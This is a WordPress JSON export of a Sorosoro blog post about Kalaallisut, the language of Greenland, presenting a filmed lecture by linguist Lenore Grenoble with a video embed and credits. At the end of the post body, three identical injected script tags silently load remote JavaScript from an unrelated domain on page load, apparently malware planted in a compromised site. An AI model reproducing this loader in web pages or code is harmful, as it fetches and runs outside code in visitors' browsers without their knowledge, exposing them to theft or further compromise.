{"id":61143,"date":"2011-11-13T22:26:36","date_gmt":"2011-11-13T21:26:36","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=61143"},"modified":"2025-10-21T22:14:11","modified_gmt":"2025-10-21T20:14:11","slug":"kalaallisut-language-of-greenland-a-lecture-by-lenore-grenoble","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/11\/kalaallisut-language-of-greenland-a-lecture-by-lenore-grenoble\/","title":{"rendered":"Kalaallisut, language of Greenland <br\/>A lecture by Lenore Grenoble"},"content":{"rendered":"<p style=\"text-align: justify;\">Sorosoro has filmed in many sun-kissed countries \u2013 Africa (Gabon, Senegal), Latin America (Guatemala, French Guiana), Oceania (New Caledonia) \u2013 but has yet to reach the lands of ice and extreme cold.<\/p>\n<p style=\"text-align: justify;\">We\u2019re getting there one step at the time, at this point from our very office, thanks to a captivating lecture on <strong>Greenland<\/strong> and the <strong>Kalaallisut<\/strong> language delivered by University of Chicago linguist and Arctic languages specialist <strong>Lenore Grenoble<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Outlining the history of the country and its population of 57,000, Lenore Grenoble describes the situation of the country\u2019s native language, Kalaallisut, of the Eskimo-Aleut or Inuit-Aleut language family.<\/p>\n<p style=\"text-align: justify;\">Colonized by Denmark in the 18th century, Greenland today has increased autonomy: following the self-government referendum in 2008, the Danish parliament granted the country further autonomy on May 19 2009. 32 areas of responsibility were then returned to Greenland, including justice and the police force.<\/p>\n<p style=\"text-align: justify;\">Kalaallisut nowadays is an <strong>official language<\/strong> and a significant part of the everyday life of Greenlanders, especially in education. What\u2019s more, Kalaallisut appears to be the <strong>only non-endangered Arctic language<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Hear Lenore Grenoble on the subject with her brilliant enthusiasm and limpidity, in the illustrated conference below:<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/XjaSDEBa4kw?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/XjaSDEBa4kw?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p><span style=\"text-decoration: underline;\">Linguist<\/span>: Lenore Grenoble<br \/>\n<span style=\"text-decoration: underline;\">Image &amp; sound<\/span>: Christian Dury and Didier Leblanc, <a href=\"http:\/\/www.ish-lyon.cnrs.fr\/\" target=\"_blank\">Institut des Sciences de l&#8217;Homme<\/a> (Lyon, France)<br \/>\n<span style=\"text-decoration: underline;\">Editing<\/span>: Caroline Laurent<br \/>\n<span style=\"text-decoration: underline;\">Photos credits<\/span>: Lenore Grenoble, Carl Christian Olsen (Puju),  Alexander Reich, Judith Mar\u00e9chal, UPI &#8211; Uummannaq Polar Institute.<\/p>\n<p>This video is based on a lecture given by Lenore Grenoble at the Lyon 2 University-based DDL \u2013 Language Dynamics \u2013 laboratory on November 25, 2009, comparing the situations of languages in Greenland and Siberia.<\/p>\n<p>Watch the full lecture <a href=\"http:\/\/25images.ish-lyon.cnrs.fr\/player\/project_index.php?id=63\" target=\"_blank\">here<\/a>.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sorosoro has filmed in many sun-kissed countries \u2013 Africa (Gabon, Senegal), Latin America (Guatemala, French Guiana), Oceania (New Caledonia) \u2013 but has yet to reach the lands of ice and extreme cold. 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